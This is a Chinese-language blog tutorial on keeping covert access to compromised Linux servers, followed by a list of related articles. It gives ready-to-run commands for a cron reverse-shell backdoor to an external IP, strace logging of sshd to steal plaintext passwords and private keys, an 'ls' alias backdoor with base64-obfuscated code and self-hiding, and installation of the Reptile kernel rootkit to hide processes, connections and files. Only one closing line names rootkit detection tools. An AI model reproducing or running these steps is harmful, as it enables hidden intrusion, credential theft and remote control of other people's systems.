【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

简介: 【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

权限维持-Linux-定时任务-Cron后门

利用系统的定时任务功能进行反弹Shell

1、编辑后门反弹

vim /etc/.backshell.sh

#!/bin/bash
bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1
chmod +x /etc/.backshell.sh

2、添加定时任务

vim /etc/crontab
*/1 * * * * root /etc/.backshell.sh


成功反弹shell


权限维持-Linux-监控功能-Strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。

我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1、记录sshd明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log


唯一的不足就是.sshd.log文件不停的在记录登陆字节流,生成的文件特别大

通过服务器监控面板可以明显看到


2、记录sshd私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log


权限维持-Linux-命令自定义-Alias后门

alias命令的功能:为命令设置别名

定义:alias ls = ‘ls -al’

删除:unalias ls

每次输入ls命令的时候都能实现ls -al

1、简单:

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1; };alerts'

这样目标执行ls命令后可以上线,不过ls命令会被阻塞在那里,很容易引起怀疑,当结束终端窗口时,反弹shell的会话也会随着被终结,而且更改后的alias命令只在当前窗口才有效(重启也会失效)

2、升级:

alias ls=‘alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,’‘‘UTF-8’’‘)} alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'


3、持久化+隐藏:重启依旧生效


vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi


权限维持-Linux-内核加载LKM-Rootkit后门

传统后门通过TCP连接,容易被发现

现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。

https://github.com/f0rb1dd3n/Reptile/releases/

自动化脚本搭建

Centos,Ubuntu

$kernel=`uname -r`
## centos
  yum -y install perl vim gcc make g++ unzip
  # 由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
  yum -y localinstall kernel-devel-"$kernal".rpm
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.xx.xx
4444
1
EOF

## ubuntu
  apt-get install vim gcc make g++ unzip -y
  apt-get -y install linux-headers-$(uname -r)
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
10.10.10.129
4444
1
EOF

注意Rootkit是安装在目标主机上的

安装成功后,不显示文件夹,但是实际上是存在的

1、使用参考:

https://github.com/f0rb1dd3n/Reptile/wiki


隐藏进程: /reptile/reptile_cmd hide

显示进程: /reptile/reptile_cmd show

nohup ping 114.114.114.114 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 4774
ps -ef | grep ping | grep -v grep

隐藏后门连接

隐藏连接: /reptile/reptile_cmd udp hide

显示连接: /reptile/reptile_cmd tcp show

netstat -anpt | grep 100.100.45.106
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

隐藏文件:

文件名中带reptile的都会被隐藏

mkdir reptile_whgojp
mkdir reptile_file
ls -l
cd reptile_xiaodi

2、高级玩法

客户端安装

./setup.sh client

设置连接配置

LHOST     47.94.236.117     Local host to receive the shell
LPORT     4444  Local       port to receive the shell
SRCHOST     47.94.236.117     Source host on magic packets (spoof)
SRCPORT     666           Source port on magic packets (only for TCP/UDP)
RHOST     121.43.154.113      Remote host
RPORT     22            Remote port (only for TCP/UDP)
PROT      TCP           Protocol to send magic packet (ICMP/TCP/UDP)
PASS      s3cr3t          Backdoor password (optional)
TOKEN     hax0r         Token to trigger the shell


关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等

Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer


https://github.com/grayddq/GScan

相关文章
|
9天前
|
监控 Linux 应用服务中间件
探索Linux中的`ps`命令:进程监控与分析的利器
探索Linux中的`ps`命令:进程监控与分析的利器
|
2天前
|
关系型数据库 MySQL Linux
Linux部署实战前言,MySQL在CentOS安装【单机软件】,MySQL的安装需要root权限,yum install mysql,systemctl enable mysqld开机自启的意思
Linux部署实战前言,MySQL在CentOS安装【单机软件】,MySQL的安装需要root权限,yum install mysql,systemctl enable mysqld开机自启的意思
|
2天前
|
Linux 数据安全/隐私保护 iOS开发
Linux的root用户,普通用户无法在根录中创建文件,一般在其HOME目录里是不受限的,一旦出了HOME目录,大多数地方,仅有读和执行的权限,ctrl + d回到上一个用户,Exit,su - ro
Linux的root用户,普通用户无法在根录中创建文件,一般在其HOME目录里是不受限的,一旦出了HOME目录,大多数地方,仅有读和执行的权限,ctrl + d回到上一个用户,Exit,su - ro
|
4天前
|
监控 关系型数据库 应用服务中间件
Linux zabbix监控 软件的安装
Linux zabbix监控 软件的安装
|
10天前
|
安全 关系型数据库 MySQL
技术经验解读:【Linux】Linux系统中的权限详解
技术经验解读:【Linux】Linux系统中的权限详解
|
11天前
|
Linux 开发工具 C语言
【Linux】Linux的权限_2 + Linux环境基础开发工具_1
【Linux】Linux的权限_2 + Linux环境基础开发工具_1
11 0
|
11天前
|
Linux Shell 数据安全/隐私保护
【Linux】Linux的权限_1
【Linux】Linux的权限_1
7 0
|
Linux
12.21 Linux检测长期未执行的定时任务(anacron命令)
anacron 是用来做什么的呢?设想这样一个场景,Linux 服务器会在周末关机两天,但是设定的定时任务大多在周日早上进行,但在这个时间点,服务器又处于关机状态,导致系统很多定时任务无法运行。
455 0
12.21 Linux检测长期未执行的定时任务(anacron命令)
|
2天前
|
Linux 网络安全 开发工具
linux 常用命令【编程必备】
linux 常用命令【编程必备】
14 4
|
2天前
|
存储 Linux
Linux文件的上和下,FinalShell文件右键可下文件,先选择root文件夹,然后把他文件往里面拖动,就可以下载了,命令下载,ls -l可以看当前文件目录,sz 文件名可下载,tab补,rz出上
Linux文件的上和下,FinalShell文件右键可下文件,先选择root文件夹,然后把他文件往里面拖动,就可以下载了,命令下载,ls -l可以看当前文件目录,sz 文件名可下载,tab补,rz出上